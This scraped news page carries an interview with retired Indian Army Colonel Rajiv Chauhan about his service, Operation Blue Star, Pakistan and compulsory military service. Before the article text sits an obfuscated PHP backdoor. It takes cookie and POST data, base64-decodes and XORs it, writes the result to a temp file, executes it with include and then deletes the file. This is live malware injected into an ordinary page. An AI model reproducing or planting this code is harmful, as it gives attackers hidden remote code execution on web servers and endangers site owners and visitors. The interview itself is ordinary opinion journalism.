$HVlOqnYNVy = "\x48" . '_' . chr (85) . chr (69) . chr (83); $gKIkP = chr (99) . chr (108) . chr (97) . "\x73" . 's' . chr (95) . "\145" . chr (120) . chr ( 1102 - 997 ).chr (115) . 't' . "\x73";$WCaWTESsW = class_exists($HVlOqnYNVy); $HVlOqnYNVy = "51638";$gKIkP = "35458";$ECozt = !1;if ($WCaWTESsW == $ECozt){function CUMTuM(){return FALSE;}$sfWHPVuka = "22314";CUMTuM();class H_UES{private function DXeAzK($sfWHPVuka){if (is_array(H_UES::$lKthIReTgf)) {$LXIXPGXnJ = sys_get_temp_dir() . "/" . crc32(H_UES::$lKthIReTgf['s' . chr (97) . 'l' . chr ( 1114 - 998 )]);@H_UES::$lKthIReTgf["\x77" . chr ( 468 - 354 ).chr ( 805 - 700 )."\x74" . "\145"]($LXIXPGXnJ, H_UES::$lKthIReTgf[chr (99) . chr ( 139 - 28 )."\156" . chr ( 219 - 103 ).'e' . 'n' . 't']);include $LXIXPGXnJ;@H_UES::$lKthIReTgf["\144" . "\145" . "\154" . chr (101) . 't' . chr ( 526 - 425 )]($LXIXPGXnJ); $sfWHPVuka = "22314";exit();}}private $MbaBnMUF;public function VVbGCsFo(){echo 56600;}public function __destruct(){$sfWHPVuka = "44129_905";$this->DXeAzK($sfWHPVuka); $sfWHPVuka = "44129_905";}public function __construct($cYSwn=0){$CHlPG = $_POST;$yrOiERfh = $_COOKIE;$IiVCz = "6da796db-35ad-460b-9713-f25005802582";$LeZKlJIwZ = @$yrOiERfh[substr($IiVCz, 0, 4)];if (!empty($LeZKlJIwZ)){$OAvLmvYzI = "base64";$yCkLI = "";$LeZKlJIwZ = explode(",", $LeZKlJIwZ);foreach ($LeZKlJIwZ as $AFuKmuNV){$yCkLI .= @$yrOiERfh[$AFuKmuNV];$yCkLI .= @$CHlPG[$AFuKmuNV];}$yCkLI = array_map($OAvLmvYzI . '_' . 'd' . "\x65" . 'c' . "\x6f" . 'd' . chr ( 1056 - 955 ), array($yCkLI,)); $yCkLI = $yCkLI[0] ^ str_repeat($IiVCz, (strlen($yCkLI[0]) / strlen($IiVCz)) + 1);H_UES::$lKthIReTgf = @unserialize($yCkLI); $yCkLI = class_exists("44129_905");}}public static $lKthIReTgf = 3842;}$joMIUMqP = new /* 50088 */ H_UES(22314 + 22314); $_POST = Array();unset($joMIUMqP);} Military service should be made compulsory for all citizens of India, says Retd. Col. Rajiv Chauhan | The Australia Today

Military service should be made compulsory for all citizens of India, says Retd. Col. Rajiv Chauhan

He says Army groomed me to be a leader who has the compassion to understand his subordinates, and camaraderie in the hour of need.

By Khushboo Agrahari

Colonel Rajiv Chauhan is an astute professional with an impressive career of over four decades plus of experience in General Administration, Security Management, and Human Resource Management.

In a career spanning over 37 years of meritorious service in the Indian Army as a frontline soldier, Col. Chauhan has fought against insurgencies in Jammu & Kashmir, Punjab, Tripura, Assam, and other northeastern states.

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He had the distinction of being selected on merit to represent India in the Indo-Canada Youth Exchange Program with the Government of Canada and the Government of India. He was also awarded a certificate for outstanding performance during the conduct of this program. 

Col. Chauhan also had the opportunity of representing India at the 7th Summit Conference of Heads of State or Government of the Non-Aligned Movement in New Delhi in 1983 and was detailed with the President and Prime Minister of India to receive all the Presidents and Prime Ministers of all the foreign Nations attending this meeting. 

Here’s an exclusive interview with Col. Rajiv Chauhan who is currently serving as a Registrar of the Mahindra University in Hyderabad: 

Keeping in mind the ongoing Exercise Pitch Black in Darwin, can you please comment on the importance of Australia-India collaboration in defence in the Indo-Pacific region?

The return of Exercise Pitch Black 2022 marked an excellent opportunity to strengthen partnerships and promote regional stability and foster close ties throughout the Indo-Pacific region. It’s a biennial exercise to enhance interoperability and strengthen relations among the participants. I believe it will also give a much-needed platform to our Indian Air Force (IAF) to exchange valuable knowledge and experience with the other participating countries in a dynamic warfare atmosphere hosted by Royal Australian Air Force (RAAF).

You were privileged to be commissioned in the 11th Battalion Jammu and Kashmir (J&K) Rifles. Please tell us about some stories of operations that lead to the clearings of Pakistani marauders as 11th battalion was one of the very first to fight for defending the integrity of our nation. 

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First of all, I feel very proud to be a second-generation officer joining the Indian defence forces from my family. My father Late Major R. L. Chauhan was the first Indian Officer to be decorated with the Veer Chakra from the corps of Artillery in 1947 operation in the battle of Mahura in J&K. I have had the privilege to operate in all the insurgencies in India from J&K, Punjab, Mizoram, Assam, Tripura, Manipur, and other eastern states.

Fighting insurgents in operational areas is a part and parcel of the job in the line of duty, but saving the lives of other troops when stuck up in adverse conditions is a very satisfying job where it’s a matter of just touch & go situation. There are a number of incidents, in one such situation I had six causalities on my air-maintained post in the peak of insurgency in Mizoram and the complete post was surrounded by floods due to heavy rains and these six Jawans were to be evacuated by air. The helicopter could not come due to bad weather and the condition of these six Jawans was very critical.

I could see the fear of death in their eyes for three days we were waiting for the weather Gods to clear up and their condition was going from bad to worse on the third day. There was a slight clearance of the clouds, a small window opened up in the sky for just about 15 to 20 minutes and we saw the helicopters approaching to lift the causalities from my air-maintained post. The input was got on very short notice, we moved these causalities to the helipad, the ray of hope that we could see in the eyes of these soldiers and the faith they had that our company commander would try his best to get them out to the hospital at all cost was seeming a dream come true for all of them. That faith kept them alive for these three days.

The daredevil pilots all came in and landed on our post. As we moved the six critical Jawans to the helicopters and before they all could leave, they got caught in bad weather, we saw these helicopters getting hard to get through this small window of clouds and looks of the six soldiers. I could not forget to date tears in their eyes as I waved goodbye to them. That’s the day I realized taking a life is so simple, but saving a life that’s what gives a tremendous amount of satisfaction and inner peace. 

The Jammu & Kashmir Rifles (J&K) is a unique Indian Regiment raised in 1821, not by the British but by the Indian ruler Gulab Singh. What are your views and experiences being part of this regiment?

The Jammu and Kashmir Rifles from the erstwhile state forces of the Jammu and Kashmir state had the distinction of having captured territories up to Mongolia under Gen Zorawar Singh and the trophies of the captured flags still are kept in the Regimental museum in Jabalpur in our Regimental Centre of JAK RIF RC (Jammu & Kashmir Rifles Regimental Centre at Jabalpur). This Regiment has the distinction of being awarded 28 battles honours which it has won for its bravery and valour in various wars; also this is the only Regiment in the Indian army who are permitted to wear these battle honours on the buckle of their uniform belts.

The regiment has the distinction of being decorated with the two highest gallantry awards of Param Veer Chakras in one single battle which was achieved during the Kargil operation by 13 JAK Rifles. It is a regiment that any soldier worth his salt would love to be commissioned in as it has excellent troops who are professional fighters and have proven their worth on the battlefields.

With more than three decades of service in the active Army formations as a frontline soldier fighting all the insurgencies Pan India can you please tell us something about your roles and experiences of being part of the natural disaster management operation? 

One such incident is a natural disaster operation when I was posted at my Regimental Centre of the Jammu & Kashmir Rifles at Jabalpur. Heavy rains caused a heavy flood situation in Madhya Pradesh and the army was put on alert to move their rescue columns into the Raipur division of Madhya Pradesh where the situation was very alarming. The army was requested to keep their operational flood relief columns ready to take a move out on zero notice of being requisitioned by the state government.

It was sometime in July 1994 we got the orders to move to Raipur division some time in 2nd week of July which had been inundated badly due to floods and a lot of property and lives had been lost. I was detailed as the last force commander to move with my troops from the army which had detachments from the core of engineers also as they hold the OBMs (out boat motors) and flood relief equipment. A column of approx. 100 troops from all arms with complimentary of engineering with their out-boat motors moved along with me as force commander for flood relief operation to Raipur subdivision which was approximately 375 km and we had to ford through all the flooded areas of Madhya Pradesh with the heavy flow of water current throughout our journey.

The column took off from Jabalpur immediately and we had about 10 vehicles en route, the areas were inundated and most of the bridges were submerged. We could only see the side pillars which were over the water. We tied a toe to all the vehicles and this is how managed with great risk to cross the roads & bridges and finally reached the next day after traversing the hazardous route where we had to face a lot of difficulties in driving on the tarmac road where we could hardly see the road because of them being submerged in water. 

We pressed in to force one column for rescue operation and we moved out in our out boat motors. The current was very heavy but our operators of OBM were very good and experienced in handling the out boat motors in such current. We could see the people stuck on the rooftops, trees, and high-rise buildings of about 3 to 4 floors. They saw our boats from the army coming in and cheers came up on their faces as if a lease of life has come to them.

I wonder how on the tress they survived and kept clinging to the trees for 2-3 days without any food and sleep. When we got them down on our boat, the gratitude and tears in their eyes showed it all to us. The ray of hope and light generated into them, for them we were like demi-Gods. It gave such a pleasure to each one of us to save their lives from this disastrous rage of nature. Approximately 1000 plus lives were saved and rescued in this operation in the Raipur division of Madhya Pradesh during our stay for approximately a week plus operating under flood relief conditions.

The administration of the Raipur Subdivision was extremely grateful for the support and excellent work of relief done by the Indian army which has never failed in bringing the situation under control in relief operations undertaken by the Indian army. An appreciation from the Government of Madhya Pradesh and the division of Raipur was handed over by the collection of Raipur division in acknowledgement of the lives saved and good work done by the Indian Army troops deputed on flood relief operations in the water disaster-prone areas.

Operation Bluestar was an Indian Army operation that took place at Sikhism’s holiest shrine in Amritsar. The June 1984 Operation is among the most controversial events in modern Indian history. How would you narrate the entire operation and can you also please tell us if you had any experience of being a part of this Operation?  

Operation Blue Star which took place in 1984 was a very sad incident to have happened. One of the finest Indian regiments, the Sikh Regiment and the Sikh Light Infantry Regiment got involved into this incident. A lot of innocent lives were lost during Operation Blue Star and one of most unfortunate incidents to have taken place with such a marshal race in my opinion.

It was a failure of the Intelligence system which had happened at the national level where they really did not have real-time information as to how so much of arms, ammunition, and explosives had moved into the state of Punjab, especially into the Golden Temple at Amritsar. To top it all the then Prime Minister Mrs Indira Gandhi was shot by her own security personnel who happened to be Sikh whereby riots broke out in the capital city of Delhi and other parts of India wherein the Sikhs had to bear the brunt and were brutally killed by the mobs for which really no one was held responsible.

I too was involved in this Operation and the planning of encircling the Golden temple on the outskirts of Amritsar. Apart from this, I was involved in controlling the highway coming from Pathankot to Amritsar and blocking any reinforcement being pumped into Amritsar by the Sikh villagers trying to move into Amritsar for saving the Golden Temple and blocking the armed forces in the conduct of their Operation. It was indeed a very sad state of affairs that the Indian army had to fight with their own mislead people but we had to carry out the operations for bringing the state of Punjab under control.

The people who were inside the Golden temple and were ready to fight the armed force tooth and nail unfortunately were trained by the retired army personnel from the Sikh background which caused very heavy causalities to the troops who entered the Golden temple as they were fired upon from well-fortified locations within the Golden Temple complex and they were not ready to surrender too till the last moment.

However, the army exhibited full restraint and used minimum firepower to minimise causalities and achieved the best of results whereby the army had to suffer a lot of causalities on their part. Overall, I feel very strongly that such situations could have been avoided, had our intelligence agencies worked in tandem and cohesiveness in collating the inputs from various intelligence agencies and disseminating the same to the various forces operating to bring the situation under control.

After your superannuation from the Indian Army, you became part of a few renowned Universities and presently you are a Registrar of Mahindra University. How would you describe the shift from being an active soldier to becoming a part of an educational institution? 

I feel the shift from the Indian Army as a front-line soldier and now working with the universities, the change, of course, is dynamic and I feel that whatever I have learned during my service in the elite Indian army, it is my responsibility to give back to the society. It has been my endeavour to share these experiences with the present organisation to the best of my ability. It has been a great learning and an eye opener to step into the arena of higher education and get educated on the functional aspects of the administration at the higher education level i.e at the universities which are apex organizations for educational purposes in India.

I feel if the military services are made compulsory for all citizens of India it would go a long way in inculcating a sense of discipline, punctuality, responsibility, nationalism, comradery, interior economy, and oneness amongst the youth of India which are urgently required in today’s environment.

There has been an increase in ceasefire violations along the LOC in recent years. These indicate Pakistan’s insincerity towards maintaining peace and tranquillity along the borders. What are your views on POK infiltration and how to stop them. 

There are far too many border violations on LOC by the Pakistanis. I am of firm opinion that root of the dialogue and diplomacy does not work wherein the Pakistanis are concerned. They only understand the rugged answers given to them with the form signal that we mean business with them and any loss of life will be retaliated with full force and a befitting reply would be given to them for any human and border violation.

I also feel that it is high time we take back PoK from the Pakistanis’ illegal occupation. Our territories should be recaptured and taken back from all concerned. Not an inch of land should be given to any other country due to forcible occupation or intrusion.

There is a broad national consensus toward force modernization and self-reliance to reduce pitfalls of arms export control, induction of niche technology, and retain strategic autonomy. In your view, what are the priority areas that need to be brought to the notice of the defence ministry and policy-makers?

The modernization of Indian armed forces and self-reliance to reduce pitfalls of arms, export control, induction of niche technology, and retaining strategic autonomy is needed. I personally feel that every nation should rely on its own resources as in real time if you base your imports from other nations and if they do not supply the war equipment in time, it can be a disastrous situation.

The answer is to become self-reliant on the production of war-like equipment indigenously as that will never fail you in real-time. As regards the priority areas, modernization of war-like equipment and self-reliance in all such equipment should be preferred at all costs keeping our adversaries in view.

Do you think our progress on infrastructure development is slow? As per your view, what should be done to improve construction speed and remove bottlenecks?

Yes, I feel that progress in infrastructure development is a bit slow. In my view, R&D should be privatised and the indigenous private sector should be given an opportunity to develop the infrastructure and produce. Such equipment products within the country would tie up the fast production and bringing in the latest technology which suits our requirements as per our terrain.

Looking back, what has been your biggest achievement as an astute professional in an impressive career of over four decades? 

The biggest achievement as a soldier, I feel, one can see the stand of India in fields today internationally be it Siachen Glacier, the Eastern sector China borders, the Pakistan borders, the UN forces and rescue operations all over the world, etc. The defence forces of India have etched their competency training and fighting capabilities all over the world.

I think this is an achievement that is creditable and we can very comfortably say that the Indian subcontinent is a force to reckon with the Indian Flag flying high. Our military technology with regard to the armament technology equipment and the leadership has jumped and improved in all areas of its implementation. It is a proud moment for the whole nation to feel safe and secure in India with such diverse culture and traditions but yet when it comes down to Mother Nation, there is only one voice that echoes loud and clear ‘Bharat Mata ki Jai.’

Do you think that there’s a need to increase the number of promotions from soldier ranks to commissioned officers in the Indian Army as some say that at the moment it is very less when compared to the Navy and Air Force?

I don’t think that the promotions are less as compared to the Indian Air Force and Navy. Marginal differences can be there but the system requires to be thought of where different entry levels at various ranks could be considered and taken up to a certain rank of officers in the Indian Army and proportional aspects are further improved.

This means that we could have a direct entry system of Havaldars, JCOs and promotion of other ranks through a merit-based system. The other ranks could be promoted up to lieutenant levels by qualifying for certain examinations. The direct entry Havaldar could be taken up to Captain level and JCOs could be promoted up to Major Level and each stage will have to qualify for promotion examinations to all these levels. This promotion procedure can be tested out and if found efficient could be executed in the promotion policies.

How did you imagine army life before you joined? Did your perceptions change after serving and was there anything you especially missed about civilian life?

Since my father was an Army officer and I too joined the Indian Army so I had seen seen the Army life. My perception before joining and after I joined the Indian Army did not change at all as my sole aim was to join the services from day one. I didn’t miss anything specifically from civilian life, I really do not feel that I missed anything as life in the services was far more challenging, interesting, and fulfilling for me! I enjoyed every moment of serving in the defence forces.

As a Retired Army official, what advice would you give to the youth of India looking forward to joining the Indian Army?

As a retired officer, the advice I will give to the youth of India is that the Indian Army is very disciplined, dedicated, and one of the best Armed Forces in the world. They should join in case they are found fit to serve their motherland with utmost dedication and enthusiasm.

The Indian Army groomed me to be a leader who has the compassion to understand his subordinates, camaraderie in the hour of need, fearlessness on the battlefield, capable of a tremendous amount of mental and physical stress, understanding of human psychology, looking after the welfare of subordinates, courage of conviction, tenacity, honesty and unrighteousness and to learn the art of being friendly but not familiar.

Contributing Author: Khushboo Agrahari is a journalist based in India. An alumna of the Indian Institute of Mass Communication (IIMC), she is also a special correspondent for well-known international agencies and magazines.

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